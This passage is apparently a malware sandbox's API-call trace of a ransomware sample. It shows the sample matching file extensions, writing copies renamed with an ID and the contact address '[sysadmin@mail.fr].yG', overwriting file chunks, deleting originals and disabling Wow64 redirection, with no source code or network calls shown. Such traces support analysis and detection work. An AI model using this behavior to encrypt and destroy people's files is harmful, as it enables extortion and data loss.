	[0056.575] lstrlenW (lpString=".zip") returned 4
	[0056.575] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0056.575] lstrlenW (lpString=".rar") returned 4
	[0056.575] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0056.575] lstrlenW (lpString=".bz2") returned 4
	[0056.575] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0056.575] lstrlenW (lpString=".7z") returned 3
	[0056.575] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0056.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0056.575] lstrlenW (lpString=".dbf") returned 4
	[0056.575] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0056.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0056.575] lstrlenW (lpString=".1cd") returned 4
	[0056.575] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0056.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0056.575] lstrlenW (lpString=".jpg") returned 4
	[0056.575] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0056.576] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.576] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0056.577] GetLastError () returned 0x0
	[0056.577] ReadFile (in: hFile=0x304, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x578d8, lpOverlapped=0x0) returned 1
	[0056.639] WriteFile (in: hFile=0x2e4, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x578e0, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x578e0, lpOverlapped=0x0) returned 1
	[0056.644] ReadFile (in: hFile=0x304, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.644] WriteFile (in: hFile=0x2e4, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0xf2, lpOverlapped=0x0) returned 1
	[0056.645] SetEndOfFile (hFile=0x2e4) returned 1
	[0056.645] CloseHandle (hObject=0x2e4) returned 1
	[0056.650] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.650] SetEndOfFile (hFile=0x304) returned 1
	[0056.653] CloseHandle (hObject=0x304) returned 1
	[0056.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0056.654] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 1
	[0056.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0056.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0056.654] lstrlenW (lpString=".doc") returned 4
	[0056.654] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0056.654] lstrlenW (lpString=".docx") returned 5
	[0056.654] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1
	[0056.654] lstrlenW (lpString=".pdf") returned 4
	[0056.654] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0056.654] lstrlenW (lpString=".xls") returned 4
	[0056.654] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0056.654] lstrlenW (lpString=".xlsx") returned 5
	[0056.654] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1
	[0056.654] lstrlenW (lpString=".ppt") returned 4
	[0056.654] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0056.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0056.654] lstrlenW (lpString=".zip") returned 4
	[0056.654] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0056.654] lstrlenW (lpString=".rar") returned 4
	[0056.654] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0056.654] lstrlenW (lpString=".bz2") returned 4
	[0056.654] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0056.654] lstrlenW (lpString=".7z") returned 3
	[0056.654] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0056.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0056.655] lstrlenW (lpString=".dbf") returned 4
	[0056.655] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0056.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0056.655] lstrlenW (lpString=".1cd") returned 4
	[0056.655] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0056.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0056.655] lstrlenW (lpString=".jpg") returned 4
	[0056.655] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0056.655] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[sysadmin@mail.fr].yg")) returned 1
	[0056.656] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0056.656] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc64 | out: lpNewFilePointer=0x0) returned 1
	[0056.656] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc24 | out: lpNewFilePointer=0x0) returned 1
	[0056.656] ReadFile (in: hFile=0x304, lpBuffer=0x3e43058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc30, lpOverlapped=0x0 | out: lpBuffer=0x3e43058*, lpNumberOfBytesRead=0x312fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0056.660] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x1e5acd, lpNewFilePointer=0x0, dwMoveMethod=0x312fc24 | out: lpNewFilePointer=0x0) returned 1
	[0056.660] ReadFile (in: hFile=0x304, lpBuffer=0x3e83058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc30, lpOverlapped=0x0 | out: lpBuffer=0x3e83058*, lpNumberOfBytesRead=0x312fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0056.685] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x312fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0056.685] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x571068, lpNewFilePointer=0x0, dwMoveMethod=0x312fc24 | out: lpNewFilePointer=0x0) returned 1
	[0056.685] ReadFile (in: hFile=0x304, lpBuffer=0x3ec3058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc30, lpOverlapped=0x0 | out: lpBuffer=0x3ec3058*, lpNumberOfBytesRead=0x312fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0057.777] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.777] WriteFile (in: hFile=0x304, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x312fca8, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fca8*=0xc0112, lpOverlapped=0x0) returned 1
	[0057.796] SetEndOfFile (hFile=0x304) returned 1
	[0059.030] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x40000) returned 0x42d2c60
	[0059.034] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc74 | out: lpNewFilePointer=0x0) returned 1
	[0059.034] WriteFile (in: hFile=0x304, lpBuffer=0x42d2c60*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc80, lpOverlapped=0x0 | out: lpBuffer=0x42d2c60*, lpNumberOfBytesWritten=0x312fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0059.036] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x1e5acd, lpNewFilePointer=0x0, dwMoveMethod=0x312fc74 | out: lpNewFilePointer=0x0) returned 1
	[0059.036] WriteFile (in: hFile=0x304, lpBuffer=0x42d2c60*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc80, lpOverlapped=0x0 | out: lpBuffer=0x42d2c60*, lpNumberOfBytesWritten=0x312fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0059.040] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x571068, lpNewFilePointer=0x0, dwMoveMethod=0x312fc74 | out: lpNewFilePointer=0x0) returned 1
	[0059.040] WriteFile (in: hFile=0x304, lpBuffer=0x42d2c60*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc80, lpOverlapped=0x0 | out: lpBuffer=0x42d2c60*, lpNumberOfBytesWritten=0x312fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0059.042] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0059.042] CloseHandle (hObject=0x304) returned 1
	[0059.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0059.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0059.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0059.128] lstrlenW (lpString=".doc") returned 4
	[0059.128] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0059.128] lstrlenW (lpString=".docx") returned 5
	[0059.128] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1
	[0059.128] lstrlenW (lpString=".pdf") returned 4
	[0059.128] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0059.128] lstrlenW (lpString=".xls") returned 4
	[0059.128] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0059.128] lstrlenW (lpString=".xlsx") returned 5
	[0059.128] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1
	[0059.128] lstrlenW (lpString=".ppt") returned 4
	[0059.128] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0059.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0059.128] lstrlenW (lpString=".zip") returned 4
	[0059.128] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0059.128] lstrlenW (lpString=".rar") returned 4
	[0059.128] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0059.128] lstrlenW (lpString=".bz2") returned 4
	[0059.128] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0059.128] lstrlenW (lpString=".7z") returned 3
	[0059.128] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0059.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0059.128] lstrlenW (lpString=".dbf") returned 4
	[0059.128] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0059.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0059.128] lstrlenW (lpString=".1cd") returned 4
	[0059.128] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0059.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0059.128] lstrlenW (lpString=".jpg") returned 4
	[0059.129] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0060.768] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.768] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.768] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0060.768] GetLastError () returned 0x0
	[0060.768] ReadFile (in: hFile=0x2d0, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x5f4b0, lpOverlapped=0x0) returned 1
	[0061.567] WriteFile (in: hFile=0x34c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x5f4c0, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x5f4c0, lpOverlapped=0x0) returned 1
	[0061.572] ReadFile (in: hFile=0x2d0, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0061.572] WriteFile (in: hFile=0x34c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0xf2, lpOverlapped=0x0) returned 1
	[0061.573] SetEndOfFile (hFile=0x34c) returned 1
	[0061.573] CloseHandle (hObject=0x34c) returned 1
	[0061.573] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.573] SetEndOfFile (hFile=0x2d0) returned 1
	[0061.576] CloseHandle (hObject=0x2d0) returned 1
	[0061.576] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0061.576] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 1
	[0061.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0061.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0061.577] lstrlenW (lpString=".doc") returned 4
	[0061.577] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0061.577] lstrlenW (lpString=".docx") returned 5
	[0061.577] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0061.577] lstrlenW (lpString=".pdf") returned 4
	[0061.577] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0061.577] lstrlenW (lpString=".xls") returned 4
	[0061.577] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0061.577] lstrlenW (lpString=".xlsx") returned 5
	[0061.577] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0061.577] lstrlenW (lpString=".ppt") returned 4
	[0061.577] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0061.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0061.577] lstrlenW (lpString=".zip") returned 4
	[0061.577] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0061.577] lstrlenW (lpString=".rar") returned 4
	[0061.577] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0061.577] lstrlenW (lpString=".bz2") returned 4
	[0061.577] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0061.577] lstrlenW (lpString=".7z") returned 3
	[0061.577] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0061.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0061.577] lstrlenW (lpString=".dbf") returned 4
	[0061.577] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0061.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0061.577] lstrlenW (lpString=".1cd") returned 4
	[0061.577] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0061.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0061.577] lstrlenW (lpString=".jpg") returned 4
	[0061.577] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1

Thread:
	id = 16
	os_tid = 0xce8

	[0039.983] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10000) returned 0x3b84e28
	[0039.983] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10000) returned 0x3b94e30
	[0039.984] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6a9f78
	[0039.984] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x6) returned 0x6eea00
	[0039.984] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6a9fd8
	[0039.984] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x100000) returned 0x3f5d020
	[0039.986] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6aa008
	[0039.986] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6aa008, Size=0x20) returned 0x68fa80
	[0039.986] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6a9f60
	[0039.986] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6a9f60, Size=0x20) returned 0x68f8f0
	[0039.986] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000
	[0039.986] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0039.986] Wow64DisableWow64FsRedirection (in: OldValue=0x326ff50 | out: OldValue=0x326ff50*=0x0) returned 1
	[0039.986] lstrlenW (lpString="kernel32.dll") returned 12
	[0039.986] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68fa80 | out: hHeap=0x650000) returned 1
	[0039.986] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0039.986] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68f8f0 | out: hHeap=0x650000) returned 1
	[0039.986] Sleep (dwMilliseconds=0x64) 
	[0040.122] Sleep (dwMilliseconds=0x64) 
	[0040.299] Sleep (dwMilliseconds=0x64) 
	[0040.412] Sleep (dwMilliseconds=0x64) 
	[0040.521] Sleep (dwMilliseconds=0x64) 
	[0040.691] Sleep (dwMilliseconds=0x64) 
	[0040.911] Sleep (dwMilliseconds=0x64) 
	[0041.240] lstrcmpiW (lpString1=".cmd", lpString2=".yG") returned -1
	[0041.240] lstrlenW (lpString="preoobe.cmd") returned 11
	[0041.240] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0041.436] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=74) returned 1
	[0041.437] CloseHandle (hObject=0x2f0) returned 1
	[0041.437] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 0x20
	[0041.437] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0041.437] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0041.437] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.437] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.437] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0041.455] GetLastError () returned 0x0
	[0041.455] ReadFile (in: hFile=0x2f0, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x4a, lpOverlapped=0x0) returned 1
	[0041.465] WriteFile (in: hFile=0x2ec, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x50, lpOverlapped=0x0) returned 1
	[0041.466] ReadFile (in: hFile=0x2f0, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0041.466] WriteFile (in: hFile=0x2ec, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0xea, lpOverlapped=0x0) returned 1
	[0041.466] SetEndOfFile (hFile=0x2ec) returned 1
	[0041.478] CloseHandle (hObject=0x2ec) returned 1
	[0041.478] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.478] SetEndOfFile (hFile=0x2f0) returned 1
	[0041.479] CloseHandle (hObject=0x2f0) returned 1
	[0041.479] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0041.479] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 1
	[0041.480] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0041.480] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0041.480] lstrlenW (lpString=".doc") returned 4
	[0041.480] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1
	[0041.480] lstrlenW (lpString=".docx") returned 5
	[0041.480] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1
	[0041.480] lstrlenW (lpString=".pdf") returned 4
	[0041.480] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1
	[0041.480] lstrlenW (lpString=".xls") returned 4
	[0041.480] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1
	[0041.480] lstrlenW (lpString=".xlsx") returned 5
	[0041.480] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1
	[0041.480] lstrlenW (lpString=".ppt") returned 4
	[0041.480] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1
	[0041.480] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0041.480] lstrlenW (lpString=".zip") returned 4
	[0041.480] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1
	[0041.480] lstrlenW (lpString=".rar") returned 4
	[0041.480] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1
	[0041.480] lstrlenW (lpString=".bz2") returned 4
	[0041.480] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1
	[0041.480] lstrlenW (lpString=".7z") returned 3
	[0041.480] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1
	[0041.480] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0041.480] lstrlenW (lpString=".dbf") returned 4
	[0041.480] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1
	[0041.480] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0041.480] lstrlenW (lpString=".1cd") returned 4
	[0041.480] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1
	[0041.480] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0041.480] lstrlenW (lpString=".jpg") returned 4
	[0041.480] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1
	[0041.481] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0041.481] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0041.481] lstrlenW (lpString=".doc") returned 4
	[0041.481] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1
	[0041.481] lstrlenW (lpString=".docx") returned 5
	[0041.481] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1
	[0041.481] lstrlenW (lpString=".pdf") returned 4
